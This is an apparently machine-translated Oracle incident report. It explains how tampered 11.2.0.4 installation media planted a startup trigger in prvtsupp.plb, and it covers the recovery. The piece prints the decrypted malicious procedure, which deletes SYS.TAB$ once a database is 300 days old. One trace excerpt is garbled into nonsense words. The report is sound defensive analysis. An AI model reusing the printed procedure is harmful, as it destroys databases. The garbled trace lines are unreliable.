Network Security Internet Technology Development Database Servers Mobile Phone Android Software Apple Software Computer Software News IT Information

In addition to Weibo, there is also WeChat

Please pay attention

WeChat public account

Shulou

Crime scene: injected software and ORA-600 16703 disaster recovery

2025-01-15 Update From: SLTechnology News&Howtos shulou NAV: SLTechnology News&Howtos > Database >

Share

Shulou(Shulou.com)06/01 Report--

Recently, I helped a customer restore the database and encountered the following problem. Once again, let's wake up to data security. If we don't take precautions, the problem will always be caught off guard.

When the customer tries to start the database, such an ORA-600 error comes into view. Repeated retries cannot eliminate the problem. The history backup also has a problem. The customer falls into a database disaster unexpectedly:

SQL*Plus: Release 11.2.0.4.0 Production on Fri Jul 20 22:12:34 2018

Copyright (c) 1982, 2013, Oracle. All rights reserved.

Connected to an idle instance.

SQL > startup mount

ORACLE instance started.

Database mounted.

SQL > alter database open

Alter database open

*

ERROR at line 1:

ORA-01092: ORACLE instance terminated. Disconnection forced

ORA-00704: bootstrap process failure

ORA-00704: bootstrap process failure

ORA-00600: internal error code, arguments: [16703], [1403], [20], []

[], []

Process ID: 1236

Session ID: 1 Serial number: 5

According to my thinking, the first step is to enable 10046 to track the location of the problem:

From the trace file, you can find the following information. Finally, the object access of obj$ is performed, and the input value of the binding variable is 20.

Note that the BINS # 605191324 of the recursive query before the final error actually corresponds to the initialization process of bootstrap$:

PARSING IN CURSOR # 605191324 len=188 dep=1 uid=0 oct=1 lid=0 tim=77597981 hv=4006182593 ad='23987650' sqlid='32r4f1brckzq1'

Create table bootstrap$ (

END OF STMT

PARSE # 605191324 Reclamation cymbidium 0Magneol eBay 372 pamphlet 0memorelle crank0pyrrhen0Cobler 0memoy misunderstanding 1pyrrology pyrrhen0pyrricium Cutter0Cooper 0MIZOMICHY 1MICROLING 0MICROLING 0MICROLING 0MICROLING 1 description OGTHY 0MULTHY 0MULTIMETHY 77597979

EXEC # 605191324 EXEC # 191324 Fluence 77598086 77598086

CLOSE # 605191324 cantilevered 0pyrrhene4 depended 1pyrorial type0pyrrhic timeline 77598125

In this recursive process, get all the SQL needed to boot the bootstrap, and then load the contents sequentially to complete memory initialization.

The last error is object 20, which is the ICOL$ object in the database:

SQL > select object_name from dba_objects where object_id=20

OBJECT_NAME

ICOL$

In bootstrap$, you can find this record, and during the initialization of this object, the database cannot find this record in TAB$, resulting in a 16703 error:

CREATE TABLE ICOL$ ("OBJ#" NUMBER NOT NULL, "BO#" NUMBER NOT NULL, "COL#" NUMBER NOT NULL, "POS#" NUMBER NOT NULL, "SEGCOL#" NUMBER NOT NULL, "SEGCOLLENGTH" NUMBER NOT NULL, "OFFSET" NUMBER NOT NULL, "INTCOL#" NUMBER NOT NULL, "SPARE1" NUMBER, "SPARE2" NUMBER, "SPARE3" NUMBER, "SPARE4" VARCHAR2 (1000), "SPARE5" VARCHAR2 (1000), "SPARE6" DATE) STORAGE (OBJNO 20 TABNO 4) CLUSTER C_OBJ# (BO#)

In the process's dump file, you can also understand the recursive access to TAB$. The binding variable is 20:

Let's take a look at the ORA-600 error. The meanings of several parameters are as follows: 1403 refers to the record not found; 20 refers to the object number:

ORA-00600: internal error code, arguments: [16703], [1403], [20], []

[], []

$oerr ora 1403

01403, 00000, "no data found"

/ / * Cause: No data was found from the objects.

/ / * Action: There was no data from the objects which may be due to end of fetch.

So, now the problem is very clear, because object 20 can not be found recursively, which is maliciously deleted.

This is the problem that has been disclosed before that the database installation media has been injected, and this problem has been recorded by Fenfei.

Strong warning: when downloading Oracle installation media, be sure to download it from a reliable source. The Oracle official website is the best way. When you get the installation software from an unknown source, you may be at risk of injection. This time the customer is threatened by this problem.

Recommended reading: guard against attacks and strengthen control-16 military rules for database security

In this case, the injected file is:

$ORACLE_HOME/rdbms/admin/prvtsupp.plb

The package file is finally injected with a trigger, the startup trigger, which is triggered to execute when the database is started:

This trigger executes the previous encrypted code, the stored procedure, the decrypted code of this stored procedure is as follows, the code logic is to determine that the creation time of the database is more than 300 days, and then create a backup table, after backing up the tab$ content, empty the TAB$ table.

After that, of course, the database cannot be started:

PROCEDURE DBMS_SUPPORT_DBMONITORP IS

DATE1 INT: = 10

BEGIN

SELECT TO_CHAR (SYSDATE-CREATED) INTO DATE1 FROM V$DATABASE

IF (DATE1 > = 300) THEN

EXECUTE IMMEDIATE 'create table ORACHK' | | SUBSTR (SYS_GUID,10) | |' tablespace system as select * from sys.tab$'

DELETE SYS.TAB$

COMMIT

EXECUTE IMMEDIATE 'alter system checkpoint'

END IF

END

So we remind you again: due to the latent nature of this attack, if you downloaded the Oracle installation package from the network, especially version 11.2.0.4, users are advised to check your database to ensure security.

Since the 11.2.0.4 version of Oracle needs to be licensed by Oracle to download from MOS, many unauthorized users are at risk for downloading from other sources.

So how to solve this problem?

In fact, it is also very simple. After deleting the contents of the TAB$ table, the database failed to boot, so we just need to find a good running SYSTEM file of the same platform and the same version, and copy all the boot blocks back, then we can start the database. Here is a part of the BLOCK intercepted by my recovery process:

And, note that this time the hacker is very measured and backs up the contents of TAB$ before deletion, so as long as you start the database and restore the contents of TAB$ from the backup table (ORACHK' | | SUBSTR (SYS_GUID,10) | |'), the database can be repaired perfectly.

This is different from the bitcoin blackmail incident in 2016. the code of that case is Truncate user data sheet, which is more difficult to deal with. Refer to: know yourself and know your enemy-reveal and prevent the problem of Oracle security Bitcoin blackmail

The following are the last two stages of the foreground of the entire recovery process. When you start the database after using bbed replication repair, you are prompted to start the database in upgrade mode, which is the influence of a flag:

SQL > startup

ORACLE instance started.

Total System Global Area 531476480 bytes

Fixed Size 1406404 bytes

Variable Size 318769724 bytes

Database Buffers 205520896 bytes

Redo Buffers 5779456 bytes

Database mounted.

ORA-01092: ORACLE instance terminated. Disconnection forced

ORA-00704: bootstrap process failure

ORA-39700: database must be opened with UPGRADE option

Process ID: 1648

Session ID: 1 Serial number: 5

Start in upgrade mode, and the database opens successfully and perfectly:

SQL > startup upgrade

ORACLE instance started.

Total System Global Area 531476480 bytes

Fixed Size 1406404 bytes

Variable Size 318769724 bytes

Database Buffers 205520896 bytes

Redo Buffers 5779456 bytes

Database mounted.

Database opened.

SQL > select * from dual

D

-

X

Finally, to sum up, this case gives us a warning:

It is very important to abide by the rules and norms. Protecting intellectual property rights and standardizing deployment can naturally prevent many problems.

In-depth study and knowledge reserve is the fundamental way to deal with the problem calmly. Only by understanding the principle can we lift the weight lightly and follow the analogy.

It is not enough to back up on time. Regular verification checks are very important.

It is very important to pay attention to special objects and changes in the database at any time.

The concern about data security cannot be stopped all the time!

Welcome to subscribe "Shulou Technology Information " to get latest news, interesting things and hot topics in the IT industry, and controls the hottest and latest Internet news, technology news and IT industry trends.

Views: 0

*The comments in the above article only represent the author's personal views and do not represent the views and positions of this website. If you have more insights, please feel free to contribute and share.

Share To

Database

Wechat

© 2024 shulou.com SLNews company. All rights reserved.

12
Report